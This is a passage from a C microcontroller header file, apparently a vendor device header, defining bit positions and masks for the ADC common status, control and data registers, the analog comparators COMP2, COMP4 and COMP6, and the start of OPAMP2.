flag */ #define ADC_CSR_EOC_MST_Pos (2U) #define ADC_CSR_EOC_MST_Msk (0x1U << ADC_CSR_EOC_MST_Pos) /*!< 0x00000004 */ #define ADC_CSR_EOC_MST ADC_CSR_EOC_MST_Msk /*!< ADC multimode master group regular end of unitary conversion flag */ #define ADC_CSR_EOS_MST_Pos (3U) #define ADC_CSR_EOS_MST_Msk (0x1U << ADC_CSR_EOS_MST_Pos) /*!< 0x00000008 */ #define ADC_CSR_EOS_MST ADC_CSR_EOS_MST_Msk /*!< ADC multimode master group regular end of sequence conversions flag */ #define ADC_CSR_OVR_MST_Pos (4U) #define ADC_CSR_OVR_MST_Msk (0x1U << ADC_CSR_OVR_MST_Pos) /*!< 0x00000010 */ #define ADC_CSR_OVR_MST ADC_CSR_OVR_MST_Msk /*!< ADC multimode master group regular overrun flag */ #define ADC_CSR_JEOC_MST_Pos (5U) #define ADC_CSR_JEOC_MST_Msk (0x1U << ADC_CSR_JEOC_MST_Pos) /*!< 0x00000020 */ #define ADC_CSR_JEOC_MST ADC_CSR_JEOC_MST_Msk /*!< ADC multimode master group injected end of unitary conversion flag */ #define ADC_CSR_JEOS_MST_Pos (6U) #define ADC_CSR_JEOS_MST_Msk (0x1U << ADC_CSR_JEOS_MST_Pos) /*!< 0x00000040 */ #define ADC_CSR_JEOS_MST ADC_CSR_JEOS_MST_Msk /*!< ADC multimode master group injected end of sequence conversions flag */ #define ADC_CSR_AWD1_MST_Pos (7U) #define ADC_CSR_AWD1_MST_Msk (0x1U << ADC_CSR_AWD1_MST_Pos) /*!< 0x00000080 */ #define ADC_CSR_AWD1_MST ADC_CSR_AWD1_MST_Msk /*!< ADC multimode master analog watchdog 1 flag */ #define ADC_CSR_AWD2_MST_Pos (8U) #define ADC_CSR_AWD2_MST_Msk (0x1U << ADC_CSR_AWD2_MST_Pos) /*!< 0x00000100 */ #define ADC_CSR_AWD2_MST ADC_CSR_AWD2_MST_Msk /*!< ADC multimode master analog watchdog 2 flag */ #define ADC_CSR_AWD3_MST_Pos (9U) #define ADC_CSR_AWD3_MST_Msk (0x1U << ADC_CSR_AWD3_MST_Pos) /*!< 0x00000200 */ #define ADC_CSR_AWD3_MST ADC_CSR_AWD3_MST_Msk /*!< ADC multimode master analog watchdog 3 flag */ #define ADC_CSR_JQOVF_MST_Pos (10U) #define ADC_CSR_JQOVF_MST_Msk (0x1U << ADC_CSR_JQOVF_MST_Pos) /*!< 0x00000400 */ #define ADC_CSR_JQOVF_MST ADC_CSR_JQOVF_MST_Msk /*!< ADC multimode master group injected contexts queue overflow flag */ #define ADC_CSR_ADRDY_SLV_Pos (16U) #define ADC_CSR_ADRDY_SLV_Msk (0x1U << ADC_CSR_ADRDY_SLV_Pos) /*!< 0x00010000 */ #define ADC_CSR_ADRDY_SLV ADC_CSR_ADRDY_SLV_Msk /*!< ADC multimode slave ready flag */ #define ADC_CSR_EOSMP_SLV_Pos (17U) #define ADC_CSR_EOSMP_SLV_Msk (0x1U << ADC_CSR_EOSMP_SLV_Pos) /*!< 0x00020000 */ #define ADC_CSR_EOSMP_SLV ADC_CSR_EOSMP_SLV_Msk /*!< ADC multimode slave group regular end of sampling flag */ #define ADC_CSR_EOC_SLV_Pos (18U) #define ADC_CSR_EOC_SLV_Msk (0x1U << ADC_CSR_EOC_SLV_Pos) /*!< 0x00040000 */ #define ADC_CSR_EOC_SLV ADC_CSR_EOC_SLV_Msk /*!< ADC multimode slave group regular end of unitary conversion flag */ #define ADC_CSR_EOS_SLV_Pos (19U) #define ADC_CSR_EOS_SLV_Msk (0x1U << ADC_CSR_EOS_SLV_Pos) /*!< 0x00080000 */ #define ADC_CSR_EOS_SLV ADC_CSR_EOS_SLV_Msk /*!< ADC multimode slave group regular end of sequence conversions flag */ #define ADC_CSR_OVR_SLV_Pos (20U) #define ADC_CSR_OVR_SLV_Msk (0x1U << ADC_CSR_OVR_SLV_Pos) /*!< 0x00100000 */ #define ADC_CSR_OVR_SLV ADC_CSR_OVR_SLV_Msk /*!< ADC multimode slave group regular overrun flag */ #define ADC_CSR_JEOC_SLV_Pos (21U) #define ADC_CSR_JEOC_SLV_Msk (0x1U << ADC_CSR_JEOC_SLV_Pos) /*!< 0x00200000 */ #define ADC_CSR_JEOC_SLV ADC_CSR_JEOC_SLV_Msk /*!< ADC multimode slave group injected end of unitary conversion flag */ #define ADC_CSR_JEOS_SLV_Pos (22U) #define ADC_CSR_JEOS_SLV_Msk (0x1U << ADC_CSR_JEOS_SLV_Pos) /*!< 0x00400000 */ #define ADC_CSR_JEOS_SLV ADC_CSR_JEOS_SLV_Msk /*!< ADC multimode slave group injected end of sequence conversions flag */ #define ADC_CSR_AWD1_SLV_Pos (23U) #define ADC_CSR_AWD1_SLV_Msk (0x1U << ADC_CSR_AWD1_SLV_Pos) /*!< 0x00800000 */ #define ADC_CSR_AWD1_SLV ADC_CSR_AWD1_SLV_Msk /*!< ADC multimode slave analog watchdog 1 flag */ #define ADC_CSR_AWD2_SLV_Pos (24U) #define ADC_CSR_AWD2_SLV_Msk (0x1U << ADC_CSR_AWD2_SLV_Pos) /*!< 0x01000000 */ #define ADC_CSR_AWD2_SLV ADC_CSR_AWD2_SLV_Msk /*!< ADC multimode slave analog watchdog 2 flag */ #define ADC_CSR_AWD3_SLV_Pos (25U) #define ADC_CSR_AWD3_SLV_Msk (0x1U << ADC_CSR_AWD3_SLV_Pos) /*!< 0x02000000 */ #define ADC_CSR_AWD3_SLV ADC_CSR_AWD3_SLV_Msk /*!< ADC multimode slave analog watchdog 3 flag */ #define ADC_CSR_JQOVF_SLV_Pos (26U) #define ADC_CSR_JQOVF_SLV_Msk (0x1U << ADC_CSR_JQOVF_SLV_Pos) /*!< 0x04000000 */ #define ADC_CSR_JQOVF_SLV ADC_CSR_JQOVF_SLV_Msk /*!< ADC multimode slave group injected contexts queue overflow flag */ /* Legacy defines */ #define ADC_CSR_ADRDY_EOSMP_MST ADC_CSR_EOSMP_MST #define ADC_CSR_ADRDY_EOC_MST ADC_CSR_EOC_MST #define ADC_CSR_ADRDY_EOS_MST ADC_CSR_EOS_MST #define ADC_CSR_ADRDY_OVR_MST ADC_CSR_OVR_MST #define ADC_CSR_ADRDY_JEOC_MST ADC_CSR_JEOC_MST #define ADC_CSR_ADRDY_JEOS_MST ADC_CSR_JEOS_MST #define ADC_CSR_ADRDY_EOSMP_SLV ADC_CSR_EOSMP_SLV #define ADC_CSR_ADRDY_EOC_SLV ADC_CSR_EOC_SLV #define ADC_CSR_ADRDY_EOS_SLV ADC_CSR_EOS_SLV #define ADC_CSR_ADRDY_OVR_SLV ADC_CSR_OVR_SLV #define ADC_CSR_ADRDY_JEOC_SLV ADC_CSR_JEOC_SLV #define ADC_CSR_ADRDY_JEOS_SLV ADC_CSR_JEOS_SLV /******************** Bit definition for ADC_CCR register *******************/ #define ADC_CCR_DUAL_Pos (0U) #define ADC_CCR_DUAL_Msk (0x1FU << ADC_CCR_DUAL_Pos) /*!< 0x0000001F */ #define ADC_CCR_DUAL ADC_CCR_DUAL_Msk /*!< ADC multimode mode selection */ #define ADC_CCR_DUAL_0 (0x01U << ADC_CCR_DUAL_Pos) /*!< 0x00000001 */ #define ADC_CCR_DUAL_1 (0x02U << ADC_CCR_DUAL_Pos) /*!< 0x00000002 */ #define ADC_CCR_DUAL_2 (0x04U << ADC_CCR_DUAL_Pos) /*!< 0x00000004 */ #define ADC_CCR_DUAL_3 (0x08U << ADC_CCR_DUAL_Pos) /*!< 0x00000008 */ #define ADC_CCR_DUAL_4 (0x10U << ADC_CCR_DUAL_Pos) /*!< 0x00000010 */ #define ADC_CCR_DELAY_Pos (8U) #define ADC_CCR_DELAY_Msk (0xFU << ADC_CCR_DELAY_Pos) /*!< 0x00000F00 */ #define ADC_CCR_DELAY ADC_CCR_DELAY_Msk /*!< ADC multimode delay between 2 sampling phases */ #define ADC_CCR_DELAY_0 (0x1U << ADC_CCR_DELAY_Pos) /*!< 0x00000100 */ #define ADC_CCR_DELAY_1 (0x2U << ADC_CCR_DELAY_Pos) /*!< 0x00000200 */ #define ADC_CCR_DELAY_2 (0x4U << ADC_CCR_DELAY_Pos) /*!< 0x00000400 */ #define ADC_CCR_DELAY_3 (0x8U << ADC_CCR_DELAY_Pos) /*!< 0x00000800 */ #define ADC_CCR_DMACFG_Pos (13U) #define ADC_CCR_DMACFG_Msk (0x1U << ADC_CCR_DMACFG_Pos) /*!< 0x00002000 */ #define ADC_CCR_DMACFG ADC_CCR_DMACFG_Msk /*!< ADC multimode DMA transfer configuration */ #define ADC_CCR_MDMA_Pos (14U) #define ADC_CCR_MDMA_Msk (0x3U << ADC_CCR_MDMA_Pos) /*!< 0x0000C000 */ #define ADC_CCR_MDMA ADC_CCR_MDMA_Msk /*!< ADC multimode DMA transfer enable */ #define ADC_CCR_MDMA_0 (0x1U << ADC_CCR_MDMA_Pos) /*!< 0x00004000 */ #define ADC_CCR_MDMA_1 (0x2U << ADC_CCR_MDMA_Pos) /*!< 0x00008000 */ #define ADC_CCR_CKMODE_Pos (16U) #define ADC_CCR_CKMODE_Msk (0x3U << ADC_CCR_CKMODE_Pos) /*!< 0x00030000 */ #define ADC_CCR_CKMODE ADC_CCR_CKMODE_Msk /*!< ADC common clock source and prescaler (prescaler only for clock source synchronous) */ #define ADC_CCR_CKMODE_0 (0x1U << ADC_CCR_CKMODE_Pos) /*!< 0x00010000 */ #define ADC_CCR_CKMODE_1 (0x2U << ADC_CCR_CKMODE_Pos) /*!< 0x00020000 */ #define ADC_CCR_VREFEN_Pos (22U) #define ADC_CCR_VREFEN_Msk (0x1U << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ #define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< ADC internal path to VrefInt enable */ #define ADC_CCR_TSEN_Pos (23U) #define ADC_CCR_TSEN_Msk (0x1U << ADC_CCR_TSEN_Pos) /*!< 0x00800000 */ #define ADC_CCR_TSEN ADC_CCR_TSEN_Msk /*!< ADC internal path to temperature sensor enable */ #define ADC_CCR_VBATEN_Pos (24U) #define ADC_CCR_VBATEN_Msk (0x1U << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ #define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< ADC internal path to battery voltage enable */ /* Legacy defines */ #define ADC_CCR_MULTI (ADC_CCR_DUAL) #define ADC_CCR_MULTI_0 (ADC_CCR_DUAL_0) #define ADC_CCR_MULTI_1 (ADC_CCR_DUAL_1) #define ADC_CCR_MULTI_2 (ADC_CCR_DUAL_2) #define ADC_CCR_MULTI_3 (ADC_CCR_DUAL_3) #define ADC_CCR_MULTI_4 (ADC_CCR_DUAL_4) /******************** Bit definition for ADC_CDR register *******************/ #define ADC_CDR_RDATA_MST_Pos (0U) #define ADC_CDR_RDATA_MST_Msk (0xFFFFU << ADC_CDR_RDATA_MST_Pos) /*!< 0x0000FFFF */ #define ADC_CDR_RDATA_MST ADC_CDR_RDATA_MST_Msk /*!< ADC multimode master group regular conversion data */ #define ADC_CDR_RDATA_MST_0 (0x0001U << ADC_CDR_RDATA_MST_Pos) /*!< 0x00000001 */ #define ADC_CDR_RDATA_MST_1 (0x0002U << ADC_CDR_RDATA_MST_Pos) /*!< 0x00000002 */ #define ADC_CDR_RDATA_MST_2 (0x0004U << ADC_CDR_RDATA_MST_Pos) /*!< 0x00000004 */ #define ADC_CDR_RDATA_MST_3 (0x0008U << ADC_CDR_RDATA_MST_Pos) /*!< 0x00000008 */ #define ADC_CDR_RDATA_MST_4 (0x0010U << ADC_CDR_RDATA_MST_Pos) /*!< 0x00000010 */ #define ADC_CDR_RDATA_MST_5 (0x0020U << ADC_CDR_RDATA_MST_Pos) /*!< 0x00000020 */ #define ADC_CDR_RDATA_MST_6 (0x0040U << ADC_CDR_RDATA_MST_Pos) /*!< 0x00000040 */ #define ADC_CDR_RDATA_MST_7 (0x0080U << ADC_CDR_RDATA_MST_Pos) /*!< 0x00000080 */ #define ADC_CDR_RDATA_MST_8 (0x0100U << ADC_CDR_RDATA_MST_Pos) /*!< 0x00000100 */ #define ADC_CDR_RDATA_MST_9 (0x0200U << ADC_CDR_RDATA_MST_Pos) /*!< 0x00000200 */ #define ADC_CDR_RDATA_MST_10 (0x0400U << ADC_CDR_RDATA_MST_Pos) /*!< 0x00000400 */ #define ADC_CDR_RDATA_MST_11 (0x0800U << ADC_CDR_RDATA_MST_Pos) /*!< 0x00000800 */ #define ADC_CDR_RDATA_MST_12 (0x1000U << ADC_CDR_RDATA_MST_Pos) /*!< 0x00001000 */ #define ADC_CDR_RDATA_MST_13 (0x2000U << ADC_CDR_RDATA_MST_Pos) /*!< 0x00002000 */ #define ADC_CDR_RDATA_MST_14 (0x4000U << ADC_CDR_RDATA_MST_Pos) /*!< 0x00004000 */ #define ADC_CDR_RDATA_MST_15 (0x8000U << ADC_CDR_RDATA_MST_Pos) /*!< 0x00008000 */ #define ADC_CDR_RDATA_SLV_Pos (16U) #define ADC_CDR_RDATA_SLV_Msk (0xFFFFU << ADC_CDR_RDATA_SLV_Pos) /*!< 0xFFFF0000 */ #define ADC_CDR_RDATA_SLV ADC_CDR_RDATA_SLV_Msk /*!< ADC multimode slave group regular conversion data */ #define ADC_CDR_RDATA_SLV_0 (0x0001U << ADC_CDR_RDATA_SLV_Pos) /*!< 0x00010000 */ #define ADC_CDR_RDATA_SLV_1 (0x0002U << ADC_CDR_RDATA_SLV_Pos) /*!< 0x00020000 */ #define ADC_CDR_RDATA_SLV_2 (0x0004U << ADC_CDR_RDATA_SLV_Pos) /*!< 0x00040000 */ #define ADC_CDR_RDATA_SLV_3 (0x0008U << ADC_CDR_RDATA_SLV_Pos) /*!< 0x00080000 */ #define ADC_CDR_RDATA_SLV_4 (0x0010U << ADC_CDR_RDATA_SLV_Pos) /*!< 0x00100000 */ #define ADC_CDR_RDATA_SLV_5 (0x0020U << ADC_CDR_RDATA_SLV_Pos) /*!< 0x00200000 */ #define ADC_CDR_RDATA_SLV_6 (0x0040U << ADC_CDR_RDATA_SLV_Pos) /*!< 0x00400000 */ #define ADC_CDR_RDATA_SLV_7 (0x0080U << ADC_CDR_RDATA_SLV_Pos) /*!< 0x00800000 */ #define ADC_CDR_RDATA_SLV_8 (0x0100U << ADC_CDR_RDATA_SLV_Pos) /*!< 0x01000000 */ #define ADC_CDR_RDATA_SLV_9 (0x0200U << ADC_CDR_RDATA_SLV_Pos) /*!< 0x02000000 */ #define ADC_CDR_RDATA_SLV_10 (0x0400U << ADC_CDR_RDATA_SLV_Pos) /*!< 0x04000000 */ #define ADC_CDR_RDATA_SLV_11 (0x0800U << ADC_CDR_RDATA_SLV_Pos) /*!< 0x08000000 */ #define ADC_CDR_RDATA_SLV_12 (0x1000U << ADC_CDR_RDATA_SLV_Pos) /*!< 0x10000000 */ #define ADC_CDR_RDATA_SLV_13 (0x2000U << ADC_CDR_RDATA_SLV_Pos) /*!< 0x20000000 */ #define ADC_CDR_RDATA_SLV_14 (0x4000U << ADC_CDR_RDATA_SLV_Pos) /*!< 0x40000000 */ #define ADC_CDR_RDATA_SLV_15 (0x8000U << ADC_CDR_RDATA_SLV_Pos) /*!< 0x80000000 */ /******************************************************************************/ /* */ /* Analog Comparators (COMP) */ /* */ /******************************************************************************/ #define COMP_V1_3_0_0 /*!< Comparator IP version */ /********************** Bit definition for COMP2_CSR register ***************/ #define COMP2_CSR_COMP2EN_Pos (0U) #define COMP2_CSR_COMP2EN_Msk (0x1U << COMP2_CSR_COMP2EN_Pos) /*!< 0x00000001 */ #define COMP2_CSR_COMP2EN COMP2_CSR_COMP2EN_Msk /*!< COMP2 enable */ #define COMP2_CSR_COMP2INSEL_Pos (4U) #define COMP2_CSR_COMP2INSEL_Msk (0x40007U << COMP2_CSR_COMP2INSEL_Pos) /*!< 0x00400070 */ #define COMP2_CSR_COMP2INSEL COMP2_CSR_COMP2INSEL_Msk /*!< COMP2 inverting input select */ #define COMP2_CSR_COMP2INSEL_0 (0x00000010U) /*!< COMP2 inverting input select bit 0 */ #define COMP2_CSR_COMP2INSEL_1 (0x00000020U) /*!< COMP2 inverting input select bit 1 */ #define COMP2_CSR_COMP2INSEL_2 (0x00000040U) /*!< COMP2 inverting input select bit 2 */ #define COMP2_CSR_COMP2INSEL_3 (0x00400000U) /*!< COMP2 inverting input select bit 3 */ #define COMP2_CSR_COMP2OUTSEL_Pos (10U) #define COMP2_CSR_COMP2OUTSEL_Msk (0xFU << COMP2_CSR_COMP2OUTSEL_Pos) /*!< 0x00003C00 */ #define COMP2_CSR_COMP2OUTSEL COMP2_CSR_COMP2OUTSEL_Msk /*!< COMP2 output select */ #define COMP2_CSR_COMP2OUTSEL_0 (0x1U << COMP2_CSR_COMP2OUTSEL_Pos) /*!< 0x00000400 */ #define COMP2_CSR_COMP2OUTSEL_1 (0x2U << COMP2_CSR_COMP2OUTSEL_Pos) /*!< 0x00000800 */ #define COMP2_CSR_COMP2OUTSEL_2 (0x4U << COMP2_CSR_COMP2OUTSEL_Pos) /*!< 0x00001000 */ #define COMP2_CSR_COMP2OUTSEL_3 (0x8U << COMP2_CSR_COMP2OUTSEL_Pos) /*!< 0x00002000 */ #define COMP2_CSR_COMP2POL_Pos (15U) #define COMP2_CSR_COMP2POL_Msk (0x1U << COMP2_CSR_COMP2POL_Pos) /*!< 0x00008000 */ #define COMP2_CSR_COMP2POL COMP2_CSR_COMP2POL_Msk /*!< COMP2 output polarity */ #define COMP2_CSR_COMP2BLANKING_Pos (18U) #define COMP2_CSR_COMP2BLANKING_Msk (0x3U << COMP2_CSR_COMP2BLANKING_Pos) /*!< 0x000C0000 */ #define COMP2_CSR_COMP2BLANKING COMP2_CSR_COMP2BLANKING_Msk /*!< COMP2 blanking */ #define COMP2_CSR_COMP2BLANKING_0 (0x1U << COMP2_CSR_COMP2BLANKING_Pos) /*!< 0x00040000 */ #define COMP2_CSR_COMP2BLANKING_1 (0x2U << COMP2_CSR_COMP2BLANKING_Pos) /*!< 0x00080000 */ #define COMP2_CSR_COMP2BLANKING_2 (0x4U << COMP2_CSR_COMP2BLANKING_Pos) /*!< 0x00100000 */ #define COMP2_CSR_COMP2OUT_Pos (30U) #define COMP2_CSR_COMP2OUT_Msk (0x1U << COMP2_CSR_COMP2OUT_Pos) /*!< 0x40000000 */ #define COMP2_CSR_COMP2OUT COMP2_CSR_COMP2OUT_Msk /*!< COMP2 output level */ #define COMP2_CSR_COMP2LOCK_Pos (31U) #define COMP2_CSR_COMP2LOCK_Msk (0x1U << COMP2_CSR_COMP2LOCK_Pos) /*!< 0x80000000 */ #define COMP2_CSR_COMP2LOCK COMP2_CSR_COMP2LOCK_Msk /*!< COMP2 lock */ /********************** Bit definition for COMP4_CSR register ***************/ #define COMP4_CSR_COMP4EN_Pos (0U) #define COMP4_CSR_COMP4EN_Msk (0x1U << COMP4_CSR_COMP4EN_Pos) /*!< 0x00000001 */ #define COMP4_CSR_COMP4EN COMP4_CSR_COMP4EN_Msk /*!< COMP4 enable */ #define COMP4_CSR_COMP4INSEL_Pos (4U) #define COMP4_CSR_COMP4INSEL_Msk (0x40007U << COMP4_CSR_COMP4INSEL_Pos) /*!< 0x00400070 */ #define COMP4_CSR_COMP4INSEL COMP4_CSR_COMP4INSEL_Msk /*!< COMP4 inverting input select */ #define COMP4_CSR_COMP4INSEL_0 (0x00000010U) /*!< COMP4 inverting input select bit 0 */ #define COMP4_CSR_COMP4INSEL_1 (0x00000020U) /*!< COMP4 inverting input select bit 1 */ #define COMP4_CSR_COMP4INSEL_2 (0x00000040U) /*!< COMP4 inverting input select bit 2 */ #define COMP4_CSR_COMP4INSEL_3 (0x00400000U) /*!< COMP4 inverting input select bit 3 */ #define COMP4_CSR_COMP4OUTSEL_Pos (10U) #define COMP4_CSR_COMP4OUTSEL_Msk (0xFU << COMP4_CSR_COMP4OUTSEL_Pos) /*!< 0x00003C00 */ #define COMP4_CSR_COMP4OUTSEL COMP4_CSR_COMP4OUTSEL_Msk /*!< COMP4 output select */ #define COMP4_CSR_COMP4OUTSEL_0 (0x1U << COMP4_CSR_COMP4OUTSEL_Pos) /*!< 0x00000400 */ #define COMP4_CSR_COMP4OUTSEL_1 (0x2U << COMP4_CSR_COMP4OUTSEL_Pos) /*!< 0x00000800 */ #define COMP4_CSR_COMP4OUTSEL_2 (0x4U << COMP4_CSR_COMP4OUTSEL_Pos) /*!< 0x00001000 */ #define COMP4_CSR_COMP4OUTSEL_3 (0x8U << COMP4_CSR_COMP4OUTSEL_Pos) /*!< 0x00002000 */ #define COMP4_CSR_COMP4POL_Pos (15U) #define COMP4_CSR_COMP4POL_Msk (0x1U << COMP4_CSR_COMP4POL_Pos) /*!< 0x00008000 */ #define COMP4_CSR_COMP4POL COMP4_CSR_COMP4POL_Msk /*!< COMP4 output polarity */ #define COMP4_CSR_COMP4BLANKING_Pos (18U) #define COMP4_CSR_COMP4BLANKING_Msk (0x3U << COMP4_CSR_COMP4BLANKING_Pos) /*!< 0x000C0000 */ #define COMP4_CSR_COMP4BLANKING COMP4_CSR_COMP4BLANKING_Msk /*!< COMP4 blanking */ #define COMP4_CSR_COMP4BLANKING_0 (0x1U << COMP4_CSR_COMP4BLANKING_Pos) /*!< 0x00040000 */ #define COMP4_CSR_COMP4BLANKING_1 (0x2U << COMP4_CSR_COMP4BLANKING_Pos) /*!< 0x00080000 */ #define COMP4_CSR_COMP4BLANKING_2 (0x4U << COMP4_CSR_COMP4BLANKING_Pos) /*!< 0x00100000 */ #define COMP4_CSR_COMP4OUT_Pos (30U) #define COMP4_CSR_COMP4OUT_Msk (0x1U << COMP4_CSR_COMP4OUT_Pos) /*!< 0x40000000 */ #define COMP4_CSR_COMP4OUT COMP4_CSR_COMP4OUT_Msk /*!< COMP4 output level */ #define COMP4_CSR_COMP4LOCK_Pos (31U) #define COMP4_CSR_COMP4LOCK_Msk (0x1U << COMP4_CSR_COMP4LOCK_Pos) /*!< 0x80000000 */ #define COMP4_CSR_COMP4LOCK COMP4_CSR_COMP4LOCK_Msk /*!< COMP4 lock */ /********************** Bit definition for COMP6_CSR register ***************/ #define COMP6_CSR_COMP6EN_Pos (0U) #define COMP6_CSR_COMP6EN_Msk (0x1U << COMP6_CSR_COMP6EN_Pos) /*!< 0x00000001 */ #define COMP6_CSR_COMP6EN COMP6_CSR_COMP6EN_Msk /*!< COMP6 enable */ #define COMP6_CSR_COMP6INSEL_Pos (4U) #define COMP6_CSR_COMP6INSEL_Msk (0x40007U << COMP6_CSR_COMP6INSEL_Pos) /*!< 0x00400070 */ #define COMP6_CSR_COMP6INSEL COMP6_CSR_COMP6INSEL_Msk /*!< COMP6 inverting input select */ #define COMP6_CSR_COMP6INSEL_0 (0x00000010U) /*!< COMP6 inverting input select bit 0 */ #define COMP6_CSR_COMP6INSEL_1 (0x00000020U) /*!< COMP6 inverting input select bit 1 */ #define COMP6_CSR_COMP6INSEL_2 (0x00000040U) /*!< COMP6 inverting input select bit 2 */ #define COMP6_CSR_COMP6INSEL_3 (0x00400000U) /*!< COMP6 inverting input select bit 3 */ #define COMP6_CSR_COMP6OUTSEL_Pos (10U) #define COMP6_CSR_COMP6OUTSEL_Msk (0xFU << COMP6_CSR_COMP6OUTSEL_Pos) /*!< 0x00003C00 */ #define COMP6_CSR_COMP6OUTSEL COMP6_CSR_COMP6OUTSEL_Msk /*!< COMP6 output select */ #define COMP6_CSR_COMP6OUTSEL_0 (0x1U << COMP6_CSR_COMP6OUTSEL_Pos) /*!< 0x00000400 */ #define COMP6_CSR_COMP6OUTSEL_1 (0x2U << COMP6_CSR_COMP6OUTSEL_Pos) /*!< 0x00000800 */ #define COMP6_CSR_COMP6OUTSEL_2 (0x4U << COMP6_CSR_COMP6OUTSEL_Pos) /*!< 0x00001000 */ #define COMP6_CSR_COMP6OUTSEL_3 (0x8U << COMP6_CSR_COMP6OUTSEL_Pos) /*!< 0x00002000 */ #define COMP6_CSR_COMP6POL_Pos (15U) #define COMP6_CSR_COMP6POL_Msk (0x1U << COMP6_CSR_COMP6POL_Pos) /*!< 0x00008000 */ #define COMP6_CSR_COMP6POL COMP6_CSR_COMP6POL_Msk /*!< COMP6 output polarity */ #define COMP6_CSR_COMP6BLANKING_Pos (18U) #define COMP6_CSR_COMP6BLANKING_Msk (0x3U << COMP6_CSR_COMP6BLANKING_Pos) /*!< 0x000C0000 */ #define COMP6_CSR_COMP6BLANKING COMP6_CSR_COMP6BLANKING_Msk /*!< COMP6 blanking */ #define COMP6_CSR_COMP6BLANKING_0 (0x1U << COMP6_CSR_COMP6BLANKING_Pos) /*!< 0x00040000 */ #define COMP6_CSR_COMP6BLANKING_1 (0x2U << COMP6_CSR_COMP6BLANKING_Pos) /*!< 0x00080000 */ #define COMP6_CSR_COMP6BLANKING_2 (0x4U << COMP6_CSR_COMP6BLANKING_Pos) /*!< 0x00100000 */ #define COMP6_CSR_COMP6OUT_Pos (30U) #define COMP6_CSR_COMP6OUT_Msk (0x1U << COMP6_CSR_COMP6OUT_Pos) /*!< 0x40000000 */ #define COMP6_CSR_COMP6OUT COMP6_CSR_COMP6OUT_Msk /*!< COMP6 output level */ #define COMP6_CSR_COMP6LOCK_Pos (31U) #define COMP6_CSR_COMP6LOCK_Msk (0x1U << COMP6_CSR_COMP6LOCK_Pos) /*!< 0x80000000 */ #define COMP6_CSR_COMP6LOCK COMP6_CSR_COMP6LOCK_Msk /*!< COMP6 lock */ /********************** Bit definition for COMP_CSR register ****************/ #define COMP_CSR_COMPxEN_Pos (0U) #define COMP_CSR_COMPxEN_Msk (0x1U << COMP_CSR_COMPxEN_Pos) /*!< 0x00000001 */ #define COMP_CSR_COMPxEN COMP_CSR_COMPxEN_Msk /*!< COMPx enable */ #define COMP_CSR_COMPxINSEL_Pos (4U) #define COMP_CSR_COMPxINSEL_Msk (0x40007U << COMP_CSR_COMPxINSEL_Pos) /*!< 0x00400070 */ #define COMP_CSR_COMPxINSEL COMP_CSR_COMPxINSEL_Msk /*!< COMPx inverting input select */ #define COMP_CSR_COMPxINSEL_0 (0x00000010U) /*!< COMPx inverting input select bit 0 */ #define COMP_CSR_COMPxINSEL_1 (0x00000020U) /*!< COMPx inverting input select bit 1 */ #define COMP_CSR_COMPxINSEL_2 (0x00000040U) /*!< COMPx inverting input select bit 2 */ #define COMP_CSR_COMPxINSEL_3 (0x00400000U) /*!< COMPx inverting input select bit 3 */ #define COMP_CSR_COMPxOUTSEL_Pos (10U) #define COMP_CSR_COMPxOUTSEL_Msk (0xFU << COMP_CSR_COMPxOUTSEL_Pos) /*!< 0x00003C00 */ #define COMP_CSR_COMPxOUTSEL COMP_CSR_COMPxOUTSEL_Msk /*!< COMPx output select */ #define COMP_CSR_COMPxOUTSEL_0 (0x1U << COMP_CSR_COMPxOUTSEL_Pos) /*!< 0x00000400 */ #define COMP_CSR_COMPxOUTSEL_1 (0x2U << COMP_CSR_COMPxOUTSEL_Pos) /*!< 0x00000800 */ #define COMP_CSR_COMPxOUTSEL_2 (0x4U << COMP_CSR_COMPxOUTSEL_Pos) /*!< 0x00001000 */ #define COMP_CSR_COMPxOUTSEL_3 (0x8U << COMP_CSR_COMPxOUTSEL_Pos) /*!< 0x00002000 */ #define COMP_CSR_COMPxPOL_Pos (15U) #define COMP_CSR_COMPxPOL_Msk (0x1U << COMP_CSR_COMPxPOL_Pos) /*!< 0x00008000 */ #define COMP_CSR_COMPxPOL COMP_CSR_COMPxPOL_Msk /*!< COMPx output polarity */ #define COMP_CSR_COMPxBLANKING_Pos (18U) #define COMP_CSR_COMPxBLANKING_Msk (0x3U << COMP_CSR_COMPxBLANKING_Pos) /*!< 0x000C0000 */ #define COMP_CSR_COMPxBLANKING COMP_CSR_COMPxBLANKING_Msk /*!< COMPx blanking */ #define COMP_CSR_COMPxBLANKING_0 (0x1U << COMP_CSR_COMPxBLANKING_Pos) /*!< 0x00040000 */ #define COMP_CSR_COMPxBLANKING_1 (0x2U << COMP_CSR_COMPxBLANKING_Pos) /*!< 0x00080000 */ #define COMP_CSR_COMPxBLANKING_2 (0x4U << COMP_CSR_COMPxBLANKING_Pos) /*!< 0x00100000 */ #define COMP_CSR_COMPxOUT_Pos (30U) #define COMP_CSR_COMPxOUT_Msk (0x1U << COMP_CSR_COMPxOUT_Pos) /*!< 0x40000000 */ #define COMP_CSR_COMPxOUT COMP_CSR_COMPxOUT_Msk /*!< COMPx output level */ #define COMP_CSR_COMPxLOCK_Pos (31U) #define COMP_CSR_COMPxLOCK_Msk (0x1U << COMP_CSR_COMPxLOCK_Pos) /*!< 0x80000000 */ #define COMP_CSR_COMPxLOCK COMP_CSR_COMPxLOCK_Msk /*!< COMPx lock */ /******************************************************************************/ /* */ /* Operational Amplifier (OPAMP) */ /* */ /******************************************************************************/ /********************* Bit definition for OPAMP2_CSR register ***************/ #define OPAMP2_CSR_OPAMP2EN_Pos (0U) #define OPAMP2_CSR_OPAMP2EN_Msk (0x1U << OPAMP2_CSR_OPAMP2EN_Pos) /*!< 0x00000001 */ #define OPAMP2_CSR_OPAMP2EN OPAMP2_CSR_OPAMP2EN_Msk /*!< OPAMP2 enable */ #define OPAMP2_CSR_FORCEVP_Pos (1U) #define OPAMP2_CSR_FORCEVP_Msk (0x1U << OPAMP2_CSR_FORCEVP_Pos) /*!< 0x00000002 */ #define OPAMP2_CSR_FORCEVP OPAMP2_CSR_FORCEVP_Msk /*!< Connect the internal references to the plus input of the OPAMPX */ #define OPAMP2_CSR_VPSEL_Pos (2U) #define OPAMP2_CSR_VPSEL_Msk (0x3U << OPAMP2_CSR_VPSEL_Pos) /*!< 0x0000000C */ #define OPAMP2_CSR_VPSEL OPAMP2_CSR_VPSEL_Msk /*!< Non inverting 